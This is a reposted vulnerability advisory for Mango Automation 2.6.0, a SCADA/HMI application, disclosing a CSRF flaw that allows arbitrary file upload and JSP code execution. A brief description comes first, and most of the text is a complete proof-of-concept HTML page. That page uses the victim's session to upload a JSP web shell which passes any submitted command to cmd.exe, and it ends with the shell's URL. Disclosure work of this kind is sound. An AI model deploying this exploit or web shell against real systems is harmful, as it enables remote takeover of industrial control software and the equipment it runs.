Home / os / winmobile

Mango Automation 2.6.0 File Upload / Code Execution CSRF

Posted on 29 September 2015

Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution Vendor: Infinite Automation Systems Inc. Product web page: http://www.infiniteautomation.com/ Affected version: 2.5.2 and 2.6.0 beta (build 327) Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source. Desc: Mango suffers from an authenticated arbitrary JSP code execution. The vulnerability is caused due to the improper verification of uploaded image files in 'graphicalViewsBackgroundUpload' script via the 'backgroundImage' POST parameter which allows of arbitrary files being uploaded in '/modules/graphicalViews/web/graphicalViewUploads/'. This can be exploited to execute arbitrary JSP code by uploading a malicious JSP script file that will be stored as a sequence number depending on how many files were uploaded (1.jsp or 2.jsp or 3.jsp .. n.jsp). Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit Jetty(9.2.2.v20140723) Java(TM) SE Runtime Environment (build 1.8.0_51-b16) Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5262 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5262.php 20.08.2015 -- <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost:8080/graphicalViewsBackgroundUpload", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryb8cxmjBwpzDcHUVI"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8"); xhr.withCredentials = true; var body = "------WebKitFormBoundaryb8cxmjBwpzDcHUVI " + "Content-Disposition: form-data; name="backgroundImage"; filename="cmd.jsp" " + "Content-Type: application/octet-stream " + " " + "x3c%@ page import="java.util.*,java.io.*,java.net.*"%x3e " + "x3cHTMLx3ex3cBODYx3e " + "x3cFORM METHOD="POST" NAME="myform" ACTION=""x3e " + "x3cINPUT TYPE="text" NAME="cmd"x3e " + "x3cINPUT TYPE="submit" VALUE="Send"x3e " + "x3c/FORMx3e " + "x3cprex3e " + "x3c% " + "if (request.getParameter("cmd") != null) { " + " out.println("Command: " + request.getParameter("cmd") + "\nx3cBRx3e"); " + " Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); " + " OutputStream os = p.getOutputStream(); " + " InputStream in = p.getInputStream(); " + " DataInputStream dis = new DataInputStream(in); " + " String disr = dis.readLine(); " + " while ( disr != null ) { " + " out.println(disr); disr = dis.readLine(); } " + " } " + "%x3e " + "x3c/prex3e " + "x3c/BODYx3ex3c/HTMLx3e " + "------WebKitFormBoundaryb8cxmjBwpzDcHUVI-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> Webshell: http://localhost:8080/modules/graphicalViews/web/graphicalViewUploads/17.jsp

 

TOP